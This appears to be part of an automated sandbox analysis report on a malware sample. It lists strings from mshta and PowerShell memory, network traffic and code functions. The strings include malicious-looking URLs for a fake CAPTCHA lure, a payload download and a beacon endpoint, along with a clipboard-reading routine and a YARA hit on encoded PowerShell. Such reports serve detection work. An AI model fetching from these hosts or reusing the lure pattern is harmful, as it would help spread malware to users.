Source: powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d1.exploredairyaptitude.shop/sh.binP
Source: powershell.exe, 0000001E.00000002.2634438590.0000000005960000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2608525720.000000000330D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2608525720.000000000333F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2635096166.0000000005A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: chromecache_210.1.dr	String found in binary or memory: https://dmp.adform.net/serving/cookie/match?party=1123
Source: chromecache_223.1.dr, chromecache_218.1.dr	String found in binary or memory: https://eu.asas.yango.com/mapuid
Source: powershell.exe, 00000012.00000002.1386205881.00000296E5220000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pesterp
Source: powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: chromecache_213.1.dr	String found in binary or memory: https://google.com
Source: chromecache_213.1.dr	String found in binary or memory: https://googleads.g.doubleclick.net
Source: powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipgonuh.shop/int_clp_sha.txt
Source: powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipgonuh.shop/int_clp_sha.txtks
Source: mshta.exe, 00000011.00000003.1431390950.0000021392117000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.1457263495.000002139211F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: chromecache_210.1.dr	String found in binary or memory: https://mc.kinopoisk.ru/sync_cookie_image_check
Source: chromecache_223.1.dr, chromecache_218.1.dr	String found in binary or memory: https://mc.yandex.
Source: chromecache_223.1.dr, chromecache_218.1.dr	String found in binary or memory: https://mc.yandex.md/cc
Source: powershell.exe, 00000012.00000002.1407196748.00000296F3A2E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1407196748.00000296F3B6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1386205881.00000296E539C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2113443255.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000012.00000002.1386205881.00000296E4E35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: chromecache_213.1.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/#website
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/?p=2800
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/?s=
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/contactanos/
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/descuentos/
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/tiendas/
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/tiendas/head/
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/tiendas/head/#breadcrumb
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/plugins/oxygen/component-framework/oxygen.css?ver=4.7
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/plugins/oxygen/component-framework/vendor/aos/aos.css?ver=6.5
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/plugins/oxygen/component-framework/vendor/aos/aos.js?ver=1
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/plugins/stop-user-enumeration/frontend/js/frontend.js?ver=1.6
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/uploads/2021/05/cropped-favicon-180x180.png
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/uploads/2021/05/cropped-favicon-192x192.png
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/uploads/2021/05/cropped-favicon-270x270.png
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/uploads/2021/05/cropped-favicon-32x32.png
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/uploads/2021/11/LOGO-MAIPU-BLANCO.svg
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/uploads/2021/11/LOGO-MAIPU.svg
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head-1024x1024.png
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head-150x150.png
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head-300x300.png
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head-768x768.png
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-content/uploads/2025/01/head.png
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-includes/css/dist/block-library/style.min.css?ver=6.5.5
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-includes/js/jquery/jquery.min.js?ver=3.7.1
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-json/
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/wp-json/wp/v2/cpttiendas/2800
Source: chromecache_190.1.dr	String found in binary or memory: https://patiooutletmaipu.cl/xmlrpc.php?rsd
Source: chromecache_190.1.dr	String found in binary or memory: https://schema.org
Source: mshta.exe, 00000011.00000003.1454869767.0000021392106000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.1456897833.0000021392106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/
Source: mshta.exe, 00000011.00000002.1456425529.0000021392080000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.1458157322.0000021392290000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2646029981.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323
Source: mshta.exe, 00000011.00000002.1458292442.00000213922F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.1462476695.0000021B99CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323#?
Source: mshta.exe, 00000011.00000003.1454869767.00000213920E1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1440902304.00000213920BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1449256712.00000213920E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323)3
Source: mshta.exe, 00000011.00000003.1454869767.00000213920C6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1440902304.00000213920BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323?
Source: mshta.exe, 00000011.00000003.1454869767.00000213920C6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1440902304.00000213920BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323C
Source: mshta.exe, 00000011.00000003.1440902304.00000213920BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323K
Source: mshta.exe, 00000011.00000003.1454869767.00000213920C6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1440902304.00000213920BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323TEM32
Source: powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect
Source: chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_190.1.dr	String found in binary or memory: https://ventas.patio.cl/SolutionsRE/index.html#/login
Source: chromecache_213.1.dr	String found in binary or memory: https://www.google.com
Source: chromecache_213.1.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_213.1.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: chromecache_190.1.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-CH16T48972
Source: chromecache_190.1.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-ZHVTPD4NLB
Source: chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	String found in binary or memory: https://www.googletagmanager.com/static/service_worker/
Source: chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	String found in binary or memory: https://www.youtube.com/iframe_api
Source: chromecache_223.1.dr, chromecache_218.1.dr	String found in binary or memory: https://yastatic.net/s3/gdpr/v3/gdpr
Source: chromecache_223.1.dr, chromecache_218.1.dr	String found in binary or memory: https://yastatic.net/s3/taxi-front/yango-gdpr-popup/
Source: chromecache_223.1.dr, chromecache_218.1.dr	String found in binary or memory: https://ymetrica1.com/watch/3/1
Source: chromecache_190.1.dr	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748

Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.17:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.17:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.17:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.17:49826 version: TLS 1.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 30_2_00436120 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

30_2_00436120

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 30_2_00436120 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

30_2_00436120

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 8096, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 24%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BA8E11D8	18_2_00007FF9BA8E11D8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAB412EA	18_2_00007FF9BAB412EA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD9E799	18_2_00007FF9BAD9E799
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD82BD0	18_2_00007FF9BAD82BD0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD96BCD	18_2_00007FF9BAD96BCD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD99B3D	18_2_00007FF9BAD99B3D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD97B0D	18_2_00007FF9BAD97B0D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD9CADB	18_2_00007FF9BAD9CADB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD964AB	18_2_00007FF9BAD964AB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD8F444	18_2_00007FF9BAD8F444
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD9742D	18_2_00007FF9BAD9742D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD9C42D	18_2_00007FF9BAD9C42D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD969AD	18_2_00007FF9BAD969AD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD9716B	18_2_00007FF9BAD9716B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD9A96B	18_2_00007FF9BAD9A96B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD8E937	18_2_00007FF9BAD8E937
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD9612B	18_2_00007FF9BAD9612B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD8F115	18_2_00007FF9BAD8F115
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD902C5	18_2_00007FF9BAD902C5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD94A3B	18_2_00007FF9BAD94A3B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD9BA05	18_2_00007FF9BAD9BA05
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD9779B	18_2_00007FF9BAD9779B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD8BF6B	18_2_00007FF9BAD8BF6B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD8172F	18_2_00007FF9BAD8172F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD8E709	18_2_00007FF9BAD8E709
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD9B70D	18_2_00007FF9BAD9B70D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD91039	18_2_00007FF9BAD91039
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD9980D	18_2_00007FF9BAD9980D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD8E544	18_2_00007FF9BAD8E544
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD90D25	18_2_00007FF9BAD90D25
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD814EE	18_2_00007FF9BAD814EE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD944ED	18_2_00007FF9BAD944ED
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD9BEBD	18_2_00007FF9BAD9BEBD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD99E9D	18_2_00007FF9BAD99E9D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD8B628	18_2_00007FF9BAD8B628
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD905D9	18_2_00007FF9BAD905D9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAD9ADF7	18_2_00007FF9BAD9ADF7
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAF14EAD	18_2_00007FF9BAF14EAD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BAF138B1	18_2_00007FF9BAF138B1
